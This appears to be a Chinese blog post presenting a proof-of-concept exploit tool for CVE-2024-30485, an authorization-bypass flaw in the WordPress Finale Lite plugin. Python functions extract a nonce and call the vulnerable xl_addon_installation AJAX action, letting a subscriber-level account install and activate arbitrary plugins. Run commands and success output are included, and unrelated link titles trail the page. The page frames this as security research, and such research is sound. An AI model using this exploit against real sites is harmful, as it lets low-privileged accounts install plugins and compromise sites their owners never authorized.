WordPress Finale Lite 插件高危漏洞检测与利用工具 (CVE-2024-30485)

WordPress Finale Lite 插件高危漏洞检测与利用工具 (CVE-2024-30485)

项目描述

本项目提供了一个针对 WordPress Finale Lite 插件(版本号 <= 2.18.0)中高危授权绕过漏洞(CVE-2024-30485)的安全检测与概念验证工具。

该漏洞源于插件的xl_addon_installation AJAX接口缺少必要的权限检查,允许已登录的订阅者(Subscriber)级别及以上用户,在未获得管理员授权的情况下,远程安装并激活任意插件。此工具可用于安全研究人员快速验证目标系统的脆弱性,理解漏洞原理,并评估其潜在风险。

项目信息 详情
漏洞编号 CVE-2024-30485
威胁等级 高危 (CVSS 8.8)
影响版本 Finale Lite <= 2.18.0
漏洞类型 授权绕过 (CWE-862)
所需权限 WordPress 订阅者 (Subscriber) 及以上

功能特性

  • 身份验证:支持使用有效的WordPress用户凭证(用户名/密码)进行登录,获取操作权限。
  • 安全令牌提取 :自动从目标页面的HTML/JavaScript中提取执行敏感操作所需的nonce(一次性令牌)。
  • 任意插件安装 :利用漏洞接口,向目标站点安装指定的插件(如hello-dolly, akismet等)。
  • 插件自动激活:在插件安装成功后,自动发起激活请求,使插件生效,最大化漏洞影响。
  • 多种预置插件:脚本内置了多个常见插件的slug与入口文件映射,方便测试。

安装指南

系统要求

  • Python 3.x
  • 需要具备对目标WordPress站点的网络访问权限

依赖项安装

本项目依赖requestsbeautifulsoup4库。您可以使用pip来安装所需依赖。

bash 复制代码
# 推荐使用虚拟环境
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# .\venv\Scripts\activate  # Windows

# 安装依赖
pip install requests beautifulsoup4

获取工具代码

将脚本保存为 CVE-2024-30485.py 即可使用。

使用说明

命令行参数

参数 简写 类型 是否必需 描述
--url -u 字符串 目标WordPress站点的根URL
--username -U 字符串 用于登录的WordPress用户名
--password -P 字符串 用于登录的WordPress密码
plugin (位置参数) 字符串 要安装的插件slug。默认为hello-dolly

基础使用示例

1. 检测漏洞并尝试安装默认插件 (hello-dolly):

bash 复制代码
python3 CVE-2024-30485.py -u https://example.com -U subscriber_user -P strong_password

2. 检测漏洞并尝试安装指定插件 (例如: disable-comments):

bash 复制代码
python3 CVE-2024-30485.py -u https://example.com -U subscriber_user -P strong_password disable-comments

3. 查看完整帮助信息:

bash 复制代码
python3 CVE-2024-30485.py -h

典型工作流程

  1. 用户认证 :使用提供的凭证模拟登录WordPress,获取带有wordpress_logged_in Cookie的会话。
  2. 令牌获取 :访问插件管理页面/wp-admin/admin.php?page=xl-payments,并从返回的HTML/JS中正则匹配提取nonce值。
  3. 利用漏洞 :构造包含action=xl_addon_installation的POST请求,发送至/wp-admin/admin-ajax.php,利用提取到的nonce和指定的插件信息进行安装。
  4. 激活插件:安装成功后,再次发送激活请求,使插件生效。

输出示例

bash 复制代码
[+] Target is vulnerable! Detected version: 2.18.0
[+] Logged in successfully.
[+] Extracted Nonce: 2b46e05bc0
[+] Plugin 'disable-comments' installed successfully!
[+] Plugin 'disable-comments' activated successfully!

核心代码

漏洞版本检测

python 复制代码
def check_vulnerability(url):

    response = requests.get(version_url, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
    if response.status_code == 200:
        match = re.search(r"Stable tag: ([0-9\.]+)", response.text)
        if match:
            version = match.group(1)
            if version <= "2.18.0":
                print(f"[+] Target is vulnerable! Detected version: {version}")
                return True
    print("[-] Target is not vulnerable or version check failed.")
    return False

漏洞利用核心逻辑

此部分演示了如何利用缺失授权的xl_addon_installation AJAX接口进行任意插件安装。

python 复制代码
def install_plugin(url, session, nonce, plugin_slug, plugin_file):
    installed_plugins_url = f"{url}/wp-admin/plugins.php"
    response = session.get(installed_plugins_url, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
    if plugin_slug in response.text:
        print(f"[+] Plugin '{plugin_slug}' is already installed. Skipping installation.")
    else:
        install_url = f"{url}/wp-admin/admin-ajax.php"
        # 关键利用点:构造 xl_addon_installation 请求
        install_data = {
            "action": "xl_addon_installation",  # 易受攻击的 action
            "xl_slug": plugin_slug,
            "xl_file": plugin_file,
            "nonce": nonce
        }
        response = session.post(install_url, data=install_data, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
        # 检查安装是否成功
        if "Plugin installed successfully!" in response.text or "already installed" in response.text:
            print(f"[+] Plugin '{plugin_slug}' installed successfully!")
            return True
    return False

安全令牌(Nonce)提取

脚本通过正则表达式从插件设置页面的响应内容中提取用于授权的nonce值。

python 复制代码
def get_nonce(url, session):
    settings_url = f"{url}/wp-admin/admin.php?page=xl-payments"
    response = session.get(settings_url, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
    # 从页面JavaScript或HTML中匹配 nonce 值
    match = re.search(r'"nonce":"([a-f0-9]+)"', response.text)
    if match:
        print(f"[+] Extracted Nonce: {match.group(1)}")
        return match.group(1)
    print("[-] Failed to extract Nonce.")
    return None

插件激活

在安装成功后,利用WordPress的标准激活流程和之前获取的nonce来激活插件,完成整个攻击链。

python 复制代码
def activate_plugin(url, session, nonce, plugin_slug):
    activate_url = f"{url}/wp-admin/admin-ajax.php"
    activate_data = {
        "action": "activate-plugin",        # 标准的插件激活action
        "plugin": f"{plugin_slug}/{plugin_slug}.php",
        "_wpnonce": nonce                   # 复用之前提取的nonce
    }
    response = session.post(activate_url, data=activate_data, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
    if "Plugin activated" in response.text or "activated successfully" in response.text:
        print(f"[+] Plugin '{plugin_slug}' activated successfully!")
    else:
        print("[-] Failed to activate plugin.")

6HFtX5dABrKlqXeO5PUv/xFe0Y10EdWNEZGHtzXMDCs=

更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)

对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

相关推荐
qq_334563551 小时前
Layui layer弹窗如何实现居中显示
jvm·数据库·python
2601_949818092 小时前
头歌答案--爬虫实战
java·前端·爬虫
weixin_580614002 小时前
模型持久化不会提升准确率:揭秘训练集误用导致的“虚假精度”陷阱
jvm·数据库·python
2401_887724502 小时前
Layui弹出层layer.tab如何监听标签页切换的具体序号
jvm·数据库·python
2501_914245932 小时前
构建 Go CLI 应用的最佳实践:纯 Go 交互式命令行库选型与使用指南
jvm·数据库·python
m0_514520572 小时前
Go语言变量如何声明和使用_Go语言变量定义完整教程【通俗】
jvm·数据库·python
weixin_586061462 小时前
CSS Grid布局如何解决图片溢出网格单元_设置object-fit与网格尺寸.txt
jvm·数据库·python
猫猫不是喵喵.2 小时前
layui表单项次大数据量导入并提交
前端·javascript·layui
张小潇2 小时前
AOSP15 WMS/AMS系统开发 - 窗口层级源码分析
android·前端